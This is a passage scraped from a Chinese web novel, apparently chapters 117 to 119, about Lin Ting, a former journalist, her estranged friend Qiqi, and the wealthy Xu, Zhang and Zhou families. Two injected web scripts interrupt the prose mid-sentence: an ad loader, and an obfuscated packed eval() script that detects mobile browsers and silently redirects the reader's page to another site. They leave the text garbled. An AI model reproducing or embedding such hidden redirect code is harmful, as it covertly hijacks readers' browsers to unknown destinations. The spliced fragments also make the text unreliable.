她大四实习的时候就是在宏图,实习结束也顺利留了下来,大公司,体面、忙碌又充实地工作了几年,也取得了一些成绩,这是年少的她想要的生活,想要的工作,她一直在努力地践行着…… 然而现在,不知怎的,她渐渐觉得疲惫和提不起精神,明明如今的她孑然一身,却觉得压抑、沉重,好像背负了很重很重的东西在前行。 她是真的想要换一种生活方式了。 林听站在马路旁的人行道上,抬眸望向刺眼的阳光,她微微闭上眼,燥热的暖意倾洒在她的脸上,她久违地感受到了心上的温暖。 不远处黑色汽车停着,身穿西装外套的男人坐在后排,他摇下了车窗,目光沉静地望着身形纤细、清瘦的女人。 秘书小陈摸着方向盘,低声问道:“老板,要开过去吗?” 良久,一阵沉默后,许敬亭语气淡淡道:“不用了,走吧,去周氏。” 黑色的汽车飞驰向着林听的位置行驶过去,后车排的车窗慢慢被摇了上去,许敬亭隔着黑色的车窗看着她渐渐落在他的身后。 夏日的风吹乱她的发丝,林听正要腾出手将发丝别在耳后时,手机突然响了起来……她转而接听起电话,“先哥?” 【是我,林听你现在有空吗?方便过来金颂律所一趟吗?】 “好,我有空,我现在就过去。”她挂断电话,伸手招了辆出租车赶往金颂律所。 …… 金颂律师事务所。 林听抱着牛皮盒子推开了律所的大门,她朝前台说了一声之后,前台表示周律师已经提前和她说过了,因此对方直接引着她走到了先哥的办公室门口后才离开。 林听轻轻敲了敲办公室的门,片刻后,办公室的门就被周嘉先拉开了,他惊诧道:“这么快?” 正说着,周嘉先的目光落在了她手上的牛皮盒子上,这是…… “你离职了?” “嗯。”林听神色平静地点点头。 周嘉先顿了一下,皱起了眉头,随后不知道怎的,又松开了眉头,“离职了也好……快进来吧。” 他退开一步,让林听走进去,两人面对面地坐在沙发上,周嘉先这才开始说起正事来,“虽然周震一直故意滞留在医院,但这其实没什么用的,他已经被派出所给带走了。” 林听边听着边点了点头,那时候好在她身上带有录音设备。 “周家那边向我递消息,说是想私底下私了这件事,让你提要求。”林嘉先嘴角扯了扯,眼底透着厌恶,这些自以为站在上层阶级的人总是相信没有钱摆平不了的事情。 林听皱起眉头,“我绝对……” “我知道,我已经回绝了那边。所以……”周嘉先瞥了一眼她放在茶几上的牛皮盒子,“……你离开宏图是个正确的决定,不然,谁知道他们要怎么恶心你。” “我本来就是想告诉你对方的态度,让你早点从宏图离开,没想到你已经先辞职了。” 原来是这样……林听点点头,表示自己知道了。 恰在这时,一串急促的脚步声响起,来人风风火火、急急忙忙地推开了办公室的玻璃门,林听、周嘉先抬眸望过去,是神色匆匆、白着一张脸跑进来的期期…… 她径直往林听的位置跑去,在林听没有反应过来之前便弯下腰抱住了她,“对不起,林听……每一次……”每一次她需要她的时候,她总是不在。 “……都是我不好……” 张期期的声音渐渐凝噎,林听愣了愣,紧紧抿住了唇,她能感受到一缕湿润粘在了她的脖颈处。透过期期胳膊和身体的空隙,她看到了慢了好几步,拎着装猫的背包的陈恕。 也是……这件事先哥知道了,陈恕怎么可能不知道,自然期期也就知道了…… 林听眼帘微垂,轻轻挣扎了一下,从张期期的怀里退出来,“这事和你没关系,你不需要道歉。” 被推开后,张期期手足无措地站在原地,她偷偷打量着林听,见她的神情和精神都还算可以时,她心里绷着的弦才松了下来。 反倒是一旁的周嘉先眉头紧紧皱了起来,比起上次见到期期,肉眼可见的,她的状态好像不太好啊…… 他瞥了一眼陈恕,鹿海到京照市飞行时间大约需要两个小时,再加上值机、检票等等,这两人应该早上很早就赶飞机回来的。 且刚才林听还没来时,就是他告诉刚下飞机的陈恕,林听被他约来了律所,这两人估计下了飞机就往这边赶吧。 周嘉先:“都先坐下吧……”他起身倒了三杯温水放在他们三面前。 陈恕将装着猫的背包放在地上,拉开链子,给睡着的猫透透气。 办公室此时突然安静了下来,这是时隔这么多年后,他们几个人单独坐在了一起,却只有他们…… 张期期攥了攥指尖,压住心底的忐忑,干巴巴道:“……我以前……听家里人讲过,周家的底子其实不太干净,做事的手法也不太能摆到明面上来,所以……” 她看向林听,“……林听,要不这阵子你住我家吧?他们要找到你住在哪里很简单的,宏图人事部那里也有你的个人信息。” 周嘉先、陈恕四目相对了片刻,两人心底顿时一惊,这一点是他们没有考虑到的事情。虽然说金颂律师事务所这几年异军突起,但京照上层圈子中的人还是习惯于与老牌联合律所打交道,而他们两人出身普通家庭,所以一时间也没有考虑这些法律以外的事情。 林听抿了抿唇,见先哥、陈恕的脸色有些难看,便意识到期期的考虑是有道理的,她知道目前最好的办法就是先到期期家住一段时间,但她就是意难平…… 她无法原谅当年她脱口而出的那句话,无法原谅这些年她的不告而别,在她最最痛苦和绝望的时候……她要怎么去释怀? “林听……”张期期忐忑不安地垂下了眼帘。 一旁的陈恕瞥了她一眼,朝着林听道:“这样吧……我家的钥匙给你,你自己挑一间客房睡,我这几天就住办公室就行。” 说着,他摸出钥匙放在了林听面前的茶几上,又朝周嘉先道:“先哥,你知道我家在哪儿,到时候你载她过去。” 周嘉先点头,“行……” 眼看着这两人直接将决定做好了,林听也只能顺从地答应了。 …… 周氏娱乐。 建筑高层的视野非常好,从落地窗望出去,远处是一片湛蓝的天空,云层随着风摇晃着,落地窗的玻璃面上跳跃着金黄的光芒。 许敬亭神色怡然地靠在沙发上,双腿交叠,他朝另一边沙发上的周柏说道,“我的条件仅有两个,一是周氏不要插手周震的官司,二是不要企图用不合法的行为打扰到林听。” “这两个条件不难吧?”许敬亭站起身,微笑着道。 许敬亭一副说完准备就走的模样,显然是笃定了他周柏一定会答应这样的要求了。不得不说,他也确实是想答应的,毕竟家里一个浪荡、不作为的弟弟换来他们公司一个项目的资金扶持,他怎么会不愿意呢? 这种弟弟,周家多得是。只不过……他还是要顾念一下家里老父亲的面子问题,因此,他并没有直接答应,而是也跟着站起来,笑着道:“周震毕竟也是我爸他老人家的儿子,我还是得回去说一说的。” 许敬亭诧异地挑了一下眉,嘴里却道,“自然。” 周柏勉强笑了笑,“那行,我尽快再和许总联系。” … 许敬亭离开了周氏娱乐,周柏脸上的笑意顿时消失,他烦躁地拧了拧眉心,周震周震,每次都要他帮忙擦屁股,成事不足败事有余,这次倒是踢到铁板了! 他嘲讽地笑了笑,抄起办公桌上的钥匙开车往老宅而去。 周氏曾经的掌权人,他爸周翎。此刻正坐在轮椅上,由着身后的护理人员推着在花园里散步。按道理来说,周氏如今是他周柏接手,没道理这件事他还得回家问问他爸,但…… 他自嘲地笑了笑,许是因为这老家伙年轻的时候作恶太多,他生的儿子一个赛一个地恨不得弄死他,所以胆怯、害怕了吧,才紧紧抓住唯一的权利不放手,导致接手周氏娱乐的他在某些方面上还是束手束脚的。 而他也须得装一装对他的敬重,时不时拿几件事来询问询问他的意见,今天这事嘛……既然是他周翎的儿子,他就算坐在轮椅上,也得亲自决断,想必等会儿他那幅伪善的样子在利益面前就得破裂了吧…… 怀揣着这样隐秘又痛快的心思,周柏笑得温和,他走过去挥了挥手,示意护理人员让开,自己则握住了轮椅的把手,道:“爸,我来推您吧,正好也有事想和您说一下。” 周柏双手搭在轮椅的把手上时,周翎的眼里闪过一丝紧张和不安,但想到公司某些核心的东西还在他手上时,他忽然又笑了一下,放心下来。 ……阿柏是个聪明、且情绪稳定的人,即便再恨他,自然也不会冲动做出一些事来,这也是他为什么选了他做继承人的原因。 “好,你倒是有心了,就推一圈吧,让我透透气,家里呆久了,实在闷。” “闷就让护理人员推您出来逛,也别局限在家里花园,到处都可以逛一逛,要不……您有空也可以让他们推您到公司转一转。”周柏笑道。 周翎面色扭曲了一瞬,他是故意的吧,他现在这个样子,去公司逛?他可丢不起这个人,也不想让其他人看见他现在这个样子。 “呵呵……那倒不用,也太远了,折腾不起啊!” 如此说着,周翎生怕周柏又说出什么他不爱听的话,便转移话题道,“你不是说有事要和我说吗?是什么事?公司上的事情?” 周柏笑了下,这可是您主动问的。他正要开口,口袋里的手机响了起来,“嗯?” 周翎侧了一下头,道:“你先接电话。” 周柏点头,示意跟在身后的护理人员来推轮椅后,他拿着手机走远了一些,背对着周翎接起了电话。周翎脸上的神情阴沉一瞬,什么电话还得走那么远去接?是在预谋夺走他手中最后的权利吗? 那边,周柏诧异地接起了电话,张家张世明打来的……他和张家好像没什么生意上的往来吧? 虽然这么想着,但张家好歹和他们周家差不多是同一梯队的世家,能打好关系还是最好的,目光还是得长远一点,指不定什么时候就得求上别人呢! “喂……你好,是,我是周柏,张总?” “竟然是这样吗?实在是不好意思,我那不成器的弟弟……” “您说的当真?既然如此……我一定会给您个满意的答复……合作愉快!” …… 周柏挂断了电话,啧啧称奇,周震这狗东西当真是瞎了眼啊,踢到了一块巨厚的铁板。没想到那个女的背后居然有许家和张家肯为她保驾护航,甚至不惜开出那么丰厚的条件。 他瞥了一眼不远处的老东西周翎,利益面前,他估计也不会使那些见不得光的手段了吧。 周柏攥着手机走过去,护理人员自觉地退到一旁,周翎眯起眼,意味深长地盯着周柏看,周柏心里简直想笑,老东西疑心真重,等会儿等他说了之后,估计这老东西会憋屈吧!哈—— “爸,是这次周震的事……” “我不是说了吗?让下面的人去找那个女的,要钱还是什么条件随便她开,实在不行,使些手段,她一个女的能翻出什么大浪来。”周翎狠狠皱眉,原来是这种小事。 “还有那两个律师,不是说其中一个是联合律所之前的实习生吗?让当时带他的老师过去说一说,让他们不要接这个案子。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 周柏对于他这些话左耳进右耳出,时代早就变了,手段,什么手段……现在科技下很容易翻车的,他又不傻。 他将许氏地产许敬亭今天来访的事告诉了周翎,周翎皱起眉头,显得非常不悦,给他们新项目的资金扶持,他确实心动了,但被一个三十多岁的年轻人压着答应放弃自己的儿子这件事,实在是丢了他的面子。 周翎铁青着一张脸,他不愿意承认他心动了,便迁怒周柏道:“我们周家难道是要没落了吗?你这个当哥哥的居然同意放弃自己的亲弟弟,说出去也不怕别人笑话。” 周柏眼底闪过讥讽,低头赔罪般道:“爸,我也不是这个意思,我没有直接同意,这不是回家来问问您的意见吗?” 周翎一听,瞬间一梗,他居然没有还没有同意?周震那个废物只会给周家拖后腿,惹事,就没见他干成过什么事,这次给了他一个职位,本来想让他好好干的,又搞出这样的事来…… 这个废物换许氏的资金扶持,那可真是天上掉馅饼了……但是让他来亲口同意,这要是让他生意上的朋友、对手知道了,他这张脸往哪里搁! 真是多事!周翎再次迁怒起周柏来,这么简单的事还要来问他,不能自己做决定吗! 周翎冷着脸,指尖一搭一搭地叩在轮椅的把手上,也不说话。 周柏低头笑了笑,又提起张家刚才打过来的电话,以及许诺的好处,周翎这下子是真的惊讶了,“这个女人什么来头?” 周柏摇了摇头,“不太清楚,总归和这两家有点关系吧。” 他静静地看着对方,许氏的利益不够,那再加上张家给出的利益呢,能让这老东西撕掉他的脸皮了吧…… 果不其然,片刻后,周翎装模作样地叹了一口气,“既然许家和张家都这么说了,我们周家总不能同时得罪两家人,还是要给对方一点面子的,再着,你弟弟也都三十几岁了,还像现在这样一事无成,只会惹事,是时候也让他吃点苦头了。” 听完这番道貌盎然的话,周柏简直想放声大笑。 他嘴角抽了抽,伸手压了一下,低头“恭敬”般道:“好的,我知道了爸,周震会理解您的。我这就给许家和张家回复。” “行,赶紧去吧,我这边不用你操心。”周翎生怕这两家会反悔。 周柏点了点头,护理人员机灵地上前推着周翎继续去散步了,周柏离开了周家老宅,给张家和许家都回复了电话,随后两方都表示可以今天当天就签约合约。 …… 凰屋别墅区。 二楼的阳台上,手机铃声响起,张期期迫不及待地接通了电话,是张世明打过来,她急声道,“怎么样?解决了吗?他们不会使用龌蹉的手段来伤害林听吧?” 【已经解决了,爸爸许诺了他们一些好处,自然就同意了。】 时隔多年,张世明在刚才接到期期的电话时,心里觉得非常不可置信。他知道自己的女儿到底是一个多犟的人,所以对她的主动来电很是疑惑。 期期没有让他的疑惑持续很久,他接通电话之后,她直接说了她想要通过他办成的事情,只要他办成了这件事,她名下“盛明”酒店持股的份额可以转一半给他,作为这件事的报酬。 张世明当然同意了,当年张期期出生的时候,戚和风和他正恩爱不已,他们一起为这个女儿置办了不动产,甚至连锁酒店的持股也有她的一部分。 而和戚和风离婚的时候,离婚协议上有约定以前给期期的东西在以后坚决不能被收回,他也同意了,当时期期还在张家,在他眼里他的女儿是要和陆家联姻的,名下肯定要有资产才好看。给他女儿期期的东西将来会以更大的好处重新返回来。 只是没想到……期期跑了……但协议已成,他也无可奈何。难得这次居然有机会让他拿回来一部分东西,他自然同意了,相比起期期给的,他给周家的就不足为道了。 周柏回复后,他也就立刻打电话过来告知期期了,不过他并不想告诉期期,从周柏的话里,周家同意其实还有许敬亭出力的原因,最好让期期以为这件事是他一手促成的。 张期期语气淡淡,“好,我知道了,你让律师拟合同,到时候联系我签名就可以了。” 【期期……爸爸……】 啪——张期期挂断了电话。 * 张期期替柏雪告大作者的案子还在持续扯皮,而林听告周震的案子反而顺利得不可思议,有证据在手中,周家那边也没有作妖,反而一副自家人做错事情就该认错、服从法律审判的谦逊样子,所以周震很快就付出了应得的代价。 周嘉先边开着车,边朝坐在副驾驶位置上的林听说道:“我和周震的律师见过面,听说好像是因为利益,周家放弃了周震。” 林听皱了皱眉,不太理解是什么意思,便道:“不管是什么原因,他犯法是事实。” “嗯……你这么说也对,只是如果周家插手的话,可能这件事得扯上好久,也会打扰你的正常生活。” “嗯,好在这件事已经过去了。先哥,谢谢你。”林听目光诚恳,笑着道。 “谢什么呢……我只是做了我本来就该做的事情。”周嘉先瞥了她一眼笑着道。 叮—— 是手机微信关注的公众号推送通知,这个公众号是专门整理京照各大公司讯息的新闻号。 作为曾经的媒体人,林听下意识地点进去,头版头条就是周氏传媒和许氏地产联动推动新项目的新闻,她大概看了看里面的内容,发现项目双方签订的时间正好是她出了派出所的第二天,也是暂住陈恕家的那一天。 她愣了下,又想起先哥刚才说的,“周家是因为利益才放弃了周震”,难道这个利益就是指许氏地产和周氏传媒联合推动新项目? 那次在派出所,敬亭哥是知道整件事的……所以是敬亭哥和周家达成了协议,让周家放弃了周震吗? …… 118. 第 118 章 - 夏日炎炎,气温燥热。 兰亭大厦一楼的玻璃门大开着,大厦内的冷风源源不断地溢散到大厦外,冷热交替的空气让站在大厦门口的林听不适地微微皱了皱眉头。 出于某种猜测,她鬼使神差地来到了这里。 看着眼前的兰亭大厦,林听攥住了指尖,是她给敬亭哥造成了困扰、造成了负担,说不清道不明的情绪裹挟着她来到了这里,道歉和道谢是她唯二能做的事情。 但是…… 带着冷意的风吹得她下意识一抖,但是……她的出现是不是每每都是在敬亭哥的心上扎了一刀又一刀,看到她是不是敬亭哥也会想,若是兰亭还活着,应该也有她这么大了…… 以往她透过敬亭哥去看“他”,却没有想过敬亭哥在看到她的时候也同样会难过…… 算了吧…… 林听望了一眼,脚步一转,准备离开。 “林听?林小姐?” 身后传来熟悉的喊声,林听脚步一顿,是陈秘书的声音……她犹豫了片刻,转过身来,微微笑了笑,“陈秘书……” “真是你啊,我还以为看错了呢!” 秘书小陈眼底眸光微闪,毕竟上次最后一笔欠款是对方向他转账,通过他这个中间人还给老板的呢,他猜测是林听意识到老板的心思了,所以才选择疏远的。 但是今天……林听又来到了这里,难道这事还有转还的余地?又或者其实是他和老板都想多了? “你过来这边有事吗?是找老板吗?” 林听吓了一跳,摆摆手正想说不是的时候,却发现陈秘书的身后,兰亭大厦里许敬亭正从电梯内走出来,隔着一段距离,他们的视线正好撞在一起。 秘书小陈见状,下意识跟着林听的视线望过去,见是老板,他这才忽然想起来,他就是先下来开车的啊,老板要回皇家园林别墅区那边一趟,结果他遇见了林听,倒把事情给忘了…… 他尴尬地摸了摸头,许敬亭也走了过来,看了他一眼,道:“我晚点再回那边一趟,先不过去了。” “哦。好的,老板。”秘书小陈再朝林听点了点头,立刻抬脚离开。 …… 兰亭大厦,咖啡厅。 今天是工作日,此刻又是上班时间,所以咖啡厅内没什么人,员工百无聊赖地坐在吧台后方,室内冷气呼呼吹着…… 林听和许敬亭面对面坐在咖啡厅的僻静角落,许敬亭伸手将面前的美式咖啡拿起来,他喝了一口后放回桌面上,神色自若地笑了笑,“怎么了?怎么这副样子?” 林听低垂着眉眼,既然决定不能透过敬亭哥去看“他”了,那么她的视线尽量不要落在他的脸上好了。 林听摇了摇头,“没事……我只是想问问……”她顿了顿,继续道,“想问问周家放弃了周震是不是您许了他们好处?原本我们都觉得不会那么顺利的,至少,至少周家会找我麻烦,但是没有……” 许敬亭眉眼一挑,似有兴趣道:“你怎么会这么想?” 林听抬眸瞥了他一眼,又很快收回了目光,垂眸的她并没有发现许敬亭眼神中闪过的一丝僵硬和不堪,她拿出手机,点开那条公众号的推送,“公众号上有讯息,我看见了……” 许敬亭看了一眼她的手机页面,原来如此,他往后坐了坐,靠在柔软的沙发上,直接承认了,“是,我是投资了周家的项目……” 林听抬眸,内疚又焦急,“敬亭哥……” 她想说没必要的,她手上有证据,即便没那么顺利,即便周家会找她麻烦,但她也不怕,没必要因为她白白花了好大一笔钱,但她也知道,合约都签订了,说什么都没用了。 许敬亭当然知道她想说什么,他指骨叩了叩桌面,打算了林听的思绪,“我投资周家的项目也不仅仅是因为你,那个项目还是有前景的,所以你也不用多想。” 说到这里,许敬亭顿了一下,眼神犹豫了片刻,他看着林听道,“不过,有件事我觉得应该和你说一声。” 林听疑惑,“啊?什么事?” “周震的哥哥周柏联系过我,从他的话里透露出来的,这次你的事情不仅仅是我向周家许了好处,还有张家,盛明酒店的张家,应该……是期期吧?” 期期?! 林听眼眸微微睁大,她张了张嘴,却说不出一句话来。好半响,她最终颓废地闭了闭眼,整个人变得丧气起来。 为什么要这么做呢?期期……你让我怎么继续去怨恨你,不怨恨你,我又该怪谁! 周遭的景色仿佛在一瞬间退去,她独自一个人站在空旷的空白里,看不见来路,回不去退路,时间像一阵阵风一样从她的身边呼啸而过,唯独留下她,惶惶无所依,心里空荡荡。 林听伸手捂住了发酸的眼眶,她深深吸了一口气,压抑住泛着酸胀的心。 “林听,林听!”许敬亭再次叩了叩桌面。 林听恍然回神,她嘴角扯了扯,带起苦涩的笑意,“嗯,应该就是期期。” 玻璃墙外耀眼的阳光覆盖在上面,满面都是绚烂瑰丽的色彩,许敬心中叹了口气,忽然道:“接下来,你有什么打算,继续从事之前的工作吗?” “如果是这样的话,宏图的对家华章传媒,你可以去试试,以你之前的成绩,应该是没有大问题的。” 林听抿了抿唇,华章传媒,大家都说离开了宏图,可以去华章,但不知怎的,她突然觉得很累很累,对期期的怨恨早就摇摇欲坠,对兰亭的想念日渐蚀骨,对于未来,她一直靠着年少时的坚持,成为了一名优秀的记者,但是在成为记者的这些年,她也日渐厌倦了…… 她眼中的疲惫呼之欲出,这座城市的回忆压在她身上太多年了,再这么下去,大概会渐渐熬空她的精力。 许敬亭只觉得自己的心也跟着这么一起不断地往下坠落,他望了她身后闪烁着光芒的玻璃墙,片刻他收回视线,看着林听,忽然道:“华大是兰亭想去的学校,他去不了了,你要不要替他去看看……” 华大…… 林听一滞,脑海中呼啸而来的是他们一行人,期期、兰亭、先哥、陈恕,还有她,他们带着活力、期盼的欢声笑语,他们大声喊着要永远在一起的过去,那片霞光满天的苍穹倒影在当时的她的眼底,欢畅以及喜悦流淌在当时的她心中。 华大……最终只有被保送的先哥去了,陈恕去了德国,期期不知所踪,她留在了京照,读了京大。 兰亭,兰亭。林听反复在心中轻念着他的名字,良久,她轻轻地“嗯”了一声,“好,我会去看看的。”替兰亭去看一看。 是了……即便其他人没有遵守承诺和约定,她也应该遵守和兰亭的约定。这一刻,摇摇欲坠的支柱再次撑起,林听攥了攥指尖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963497|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛又汲取到了力气。 许敬亭笑了,“那就去看看,工作的事不用急。” “嗯。”林听点点头,眼底的颓然缓缓散去。 见她再次找到了主心骨一般,许敬亭决定告诉她她未曾知道的过去的事情,“林听,当年期期离开也是不得已的……” …… 许敬亭语气平静地讲着后来他了解到的关于张家、张期期那段时间的事情…… 家庭遭逢变故、父亲出轨、父母反目离婚、母亲离开,远走英国、强制要期期联姻、甚至将期期关起来,为了逼迫期期妥协将她的档案都从学校拿走了,给期期申请美国的签证,想让她和陆向川一起前往美国! “后来,她应该是找到机会,拿着重要证件和档案袋逃离了京照市……” 林听满脸愕然,在这一刻她也想起来,那一天一中来了好几个身穿黑色西装,体型壮硕的男人,他们在重点一班的门口站了好一会儿,后来曾老师过来让他们走了…… 原来那些人就是来抓期期回家的吗? 林听抿了抿唇,垂下的眼帘遮住了眼底无尽的悔恨,期期遭遇的这一切她都不清楚,明明……明明她也在痛苦中挣扎着,而她…… 她们曾经是朋友啊,她却用言语朝她的心上狠狠扎了一刀,想让她像她一样痛苦自责。 想到如今身形清瘦,总是垂着眼帘,忐忑不安的期期,林听捂住了眼眶,身体微微发抖,酸涩涌上她的喉咙。 这一切都是因为她,她被怨恨冲昏了头脑,占据了思维的清明,她偏偏将兰亭的意外怪罪于期期的身上,让她凭白背负上了一条人命,这些年要压垮她了吧…… 若不是她使了心机,陈恕和期期早该遇见了,也不至于错过九年的时间…… 林听咽了下喉咙,良久良久,她瓮声道,“那不是期期的爸爸吗?怎么……就……” 许敬亭神色晦暗,平静道:“家族总是这样的,一个人的意志算不上什么,家族的未来才是最重要的。” “为什么?敬亭哥,为什么这么多年,你从不告诉我?”林听放下手,红着眼眶望着许敬亭。然而问出口的那一刻,她便后悔了,说到底伤害期期的是她,她又想怪谁呢?不该这样的。 “对不起,我……敬亭哥,真的对不起。” 许敬亭侧过头,望向落地窗外车水马龙、熙熙攘攘的世界,“你就当我也有私心吧。期期当时已经离开了,但你……” 他心中叹了口气,低声道,“总得加点砝码让你撑着坚持下来。” 他唯一没有料到的是,只是年少学生时期的一段青涩感情,他以为会是稀薄的,浓重的时光轻轻一吹就要散了,可是没想到偏偏她一直留在了原地,执拗地不肯往前走。 …… 林听拭去眼尾溢出的泪水,离开之前,她忽然转身道:“敬亭哥,把眼镜带上吧,你是你,他是他,我不想成为你的精神负担,你也不用为了我做到这种地步。” 她走了,许敬亭依旧坐在原地,看着她的背影渐渐消失在远处,他嘴角不由的勾起一缕自嘲的笑意,这一刻他才知道原来她以为他是为了让她好受一点才故意拿下眼镜,让她可以看见兰亭…… 许敬亭勾起桌上的眼镜重新带上,就让她这么误会吧,让他肮脏龌蹉的心思烂在心里……对她起心思的时候他早就不再是一个好哥哥了…… 119. 第 119 章 - 夜晚,月明星稀,凉风习习。 林听失神地坐在窗边,遥望着那一小片窗户透下来的月色,屋内静悄悄的,无边的孤寂侵袭而来。白日里,许敬亭的话依旧回响在她的耳边,心脏针扎似的痛感一直在持续着,她闭上眼任由眼角的泪水溢出…… 胃部隐隐抽痛了,林听才睁开双眼,眼神恹恹地去给自己煮东西吃。其实她一直都很规律地吃饭,但是好像没什么用,该痛的时候还是会痛。 听说,胃是情绪器官,长时间的情绪不好,才会总是胃痛。可是没有办法,她真的很努力去笑了,但是眼泪总是会在深夜掉落。 她安静地伸手抹掉眼泪,安静地吃饭、睡觉。 闭上眼的那一刻,林听想,明天……明天去和期期道歉吧,不需要原谅她,只要让她将对不起说出口就够了……就够了…… * 凰屋别墅区。 张期期吃完晚饭后给小猫木木套了个项圈走出了家门,这附近的绿化做得不错,一到夜间,附近的业主会在吃完晚饭之后三三两两结伴着出门散步,甚至还有小年轻穿着运动装专门出来夜跑、锻炼。 她妈妈和张阿姨也不例外,一直保持着夜跑的习惯。 路灯一排排地伫立着,橘黄色的灯光倾泻而下,给周遭的绿植覆盖上一层朦胧的暖意。 张期期的身体条件根本跑不了,所以她改为带着小猫木木在附近溜达着散散步。 回到京照的这些天里,她渐渐过上了平稳的日子,偶尔接稿画画、时不时跟进柏雪的案子,而让她有些困扰的就是她妈妈似乎还没有完全放弃撮合她和霍玖。 夜晚的风带着草木芳香的清爽,小猫木木被她牵着绳子,在她周围不停地跑来跑去,喵喵喵地欢声叫着。 张期期垂眸看了下,眼底带着微微的笑意,年少时她想养一只猫,但她妈妈不肯,如今她终于能养一只小猫了,她妈妈只是看了一眼也没有提出反对。她想了想,或许当年不同意她养猫的其实另有其人吧…… 皇家园林别墅区的日子,无论是她还是她妈妈,她们其实都在张世明允许的规则下生存,在被圈起来的规则内,他才不吝啬他的爱意,一旦走出了他圈起来的规则,他便会暴露自大自私的本性,说到底,张世明爱的只是对他顺服的妻子和女儿。 好在如今她和她妈妈都明白了…… 张期期一边想着一边慢悠悠地散着步,突然间,肩膀处被人从后方撞击了一下,一阵痛意袭来,她脚步一个踉跄,在险些摔在地上之前堪堪维持了身体的平衡。 张期期皱起眉头,心跳砰砰响着,她不高兴地看向一旁的罪魁祸首,一名年轻的女孩子,对方穿着专门的运动装,双手抱胸一脸烦躁、生气的模样。 而她的身后跟着一个同样穿着运动装的男生,两人看起来应该是情侣,这个男生也绷着脸,显而易见,这两人闹别扭了…… 张期期:…… “你撞到我了……” 女孩子哦了一声,用毫无情绪起伏的语气道,“不好意思。” 她撇了撇嘴,这里是下坡路,走的时候很容易被路的坡度带着往前走,所以她一时间才刹不住脚撞了上去,这能怪她?她也不想的好吗?她肩膀也痛啊! 张期期仿佛被噎了一下,“是你撞到我的吧?”为什么这个人一副是她的错的样子。 “我不是道歉了吗?你还想怎么样!谁叫你站在路中间还走得那么慢的……” 张期期:…… “你那是道歉的语气吗?我站在路中间又怎么样,人的眼睛又不长在后面,我怎么知道你会从后面撞我。” 这时,原本跟在女生不远处的男生从后方一个快步跑过来了,他也看到了方才的那一幕,于是赶忙道:“对不起啊!非常抱歉,刚刚我女朋友不是故意的。” “对不起!对不起啊……” 张期期都还没说话,一旁的女生气道:“我都和她道过歉了,你别这么怂好不好,丢死人了……” “你都撞到别人了,道歉是最基本的啊。” “我不是道过歉了吗?” “你那是道歉吗?你能不能别总是一点小事就炸啊……” …… 啊……吵起来了。 张期期无奈地扫了这两人一眼,算了,她弯下腰将木木直接抱起来,脚步一转,赶紧往前走,她可一点都不想掺合进这两人的争吵中。 身后的那对情侣互相埋冤的声音越来越大,片刻后,女生喊了一句,“你老是对我这么不耐烦,分手吧。” “分就分。”男生道。 张期期:……(加快脚步) 然而有人比她的脚步更快,没一会儿她的身边便蹿过刚才那个女生的身影,对方气鼓鼓地跑到她前面去了,随后拐了个弯往小道里走进去。 张期期停住脚步,看了一眼身后,啊……那个男生脚踩得地面砰砰响,显然也是憋着一股气,对方朝着另一个方向走了。 张期期:…… ……虽然不理解,但他们真有活力啊! 这件事只是一个意外而已,张期期很快便抛之脑后,继续抱着木木散着步,抱了一段路之后,她手都酸了,低下头看着分量十足的木木,笑着道:“木木,你是不是该减减肥了啊!” “今晚的小鱼干要不就先不吃了?”她笑着道,正要拐弯走进方才那个女生拐进去的小道内…… 然而就在这一瞬间,她怀里的木木突然发出一声凄厉的尖叫声,张期期吓了一跳,隐没在黑暗中的阴影也晃动了一下,但此刻没有人注意到。 张期期停下脚步,惊慌道:“木木,你怎么了?”她微微松开了木木,她抱得很小心啊,没有不小心伤到它啊……这是怎么了? 木木再次凄厉地尖叫了一声,尖叫声在夜色中显得尤其刺耳。 这下张期期是真的慌了,难道是刚才她说不给它吃小鱼干,所以…… 突然张期期感觉胃部被狠狠地蹬了一下,随即手臂一轻,木木跳出了她的怀里,往另外一个方向飞快地跑走了…… “木木!” 张期期脸色一变,这一片区域绿化做得非常好,灌木树丛很多,一旦木木跑进了树林里,天色昏暗的,很容易跑丢的。 她急忙追上去,一边追一边喊,周遭散步、锻炼路过的人纷纷投过去注视的目光,还有几个年轻人也跟着帮她找。 戚和风正在拉伸,脚边突然感觉毛茸茸的,她吓了一跳,低头看去,发现是一只猫。 “诶?这是木木吧?”她弯下腰看了看小猫脖颈处的套圈,上面就写着猫和主人的信息,“还真是木木啊!” 旁边的张洁莉皱起眉头,“木木在这里,那……期期呢?” 正奇怪着,不远处传来了凌乱的脚步声,还有熟悉的呼唤声,“木木!木木,你在哪儿?” “木木……” 张期期从花丛中见的小道钻出来,抬眸便看见在运动设施旁的戚和风、张洁莉,“妈……啊,木木在这里啊!” 她惊喜地跑过去,蹲下身将木木牢牢抱起来,牵引绳也攥在手心里。夏日夜晚清凉,她反倒跑出了一身汗,此刻正不停地喘着气,还好……还好找到了。 戚和风皱了皱眉头,从旁边放着的背包里拿出纸巾来,给张期期擦了擦汗,又道:“你带它出门,牵引绳要拉好。” “嗯,妈。我知道了,刚才是意外,也不知道怎么回事,它刚刚突然叫得很凶,我吓了一跳,以为弄疼它了,所以才松开了。” “要不明天带它去给兽医看看?”张洁莉建议道,她对宠物并不了解,只知道有问题肯定找医生没错。 “嗯,今晚我会观察看看的……” 出了这么一档事,戚和风、张洁莉也没有心思继续锻炼下去了,两人收了东西,和张期期一起慢慢散着步走回家去,这一路上,木木反倒乖乖地趴在张期期的手臂上,安安静静的,不吵不闹。 路上遇见帮忙找猫的好心人,张期期笑着朝她们道谢。 …… 翌日,盛大的晴天,阳光无比绚烂。 林听走出家门,带着热意的阳光照在她的身上,她嘴角微微上扬,抬起手臂遮在她的双眼前,挡住了刺眼的阳光,她朝着太阳的方向抬起头,感受着暖意的光芒覆盖在她的脸上。 